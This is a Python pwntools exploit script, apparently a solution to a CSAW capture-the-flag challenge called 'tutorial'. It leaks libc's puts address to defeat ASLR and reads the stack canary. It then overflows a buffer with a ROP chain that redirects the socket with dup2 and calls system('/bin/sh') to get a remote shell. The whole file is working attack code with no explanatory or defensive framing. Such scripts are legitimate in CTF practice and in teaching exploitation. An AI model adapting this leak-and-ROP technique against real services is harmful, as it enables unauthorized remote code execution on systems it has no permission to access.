from pwn import *

context(arch='amd64', os='linux')
context.log_level =False


binary      = ELF('tutorial')
libc        = ELF('libc-2.19.so') #used to by rop
canary      = 0x0


conn        = remote('pwn.chal.csaw.io', 8002)


def calcLibcAddress():

    conn.recvuntil('>')
    conn.sendline('1'); ## this will

    puts_addr = conn.recvline().split(':')[1]
    #do string manipulation, 0x500 was subtracted from puts in the binary
    puts_addr = int(puts_addr, 16) + 0x500
    #god damn pwn tools is nice.
    libc.address = puts_addr - libc.symbols['puts']

    print ('\nLibc Address: 0x%x\n\n' % libc.address)


    #======LETS FIND THE CANARY========
def getCanary():
    conn.recvuntil(">")
    conn.sendline('2')

    conn.recvuntil('>')
    #send empty line
    conn.sendline()

    #get the crap
    canary = conn.recv(0x144)[0x138:0x138 + 0x8]

    print ("\nCanary: 0x%s \n\n" % canary.encode('hex') )
    return canary



    #========I'M SALIVATING  ========
def honeyGetMeTheRop():
    rop = ROP([binary, libc])
    # dup2 will be used to redirect stdin/out to the socket

    #uses the two binarys to build rop chains
    #rop.raw() is used to build stack frames
    # dup2(4, 0)
    rop.raw(rop.find_gadget(['pop rdi', 'ret']))
    rop.raw(0x4)
    rop.raw(rop.find_gadget(['pop rsi', 'ret']))
    rop.raw(0x0)
    rop.raw(libc.symbols['dup2'])

    # dup2(4, 1)
    rop.raw(rop.find_gadget(['pop rsi', 'ret']))
    rop.raw(0x1)
    rop.raw(libc.symbols['dup2'])

    FLAGS_OUT_FOR_HARAM_BASH = next(libc.search('/bin/sh'))

    rop.system(FLAGS_OUT_FOR_HARAM_BASH)

    return rop

##==========HONEY I OVERWROTE THE KIDS============
def theKidsWereMemoryLeaksAnyways(canary, rop):
    conn.recvuntil('>')
    conn.sendline('2')
    conn.recvuntil('>')
    #0x138 = 312 & 312/4 = 78
    exploit = 'Meme' * 78 + canary + 'Meme' *2 + bytes(rop)
    conn.sendline(exploit)
    conn.interactive()


if __name__ == "__main__":
    calcLibcAddress()
    canary = getCanary()
    rop = honeyGetMeTheRop()
    theKidsWereMemoryLeaksAnyways(canary, rop)
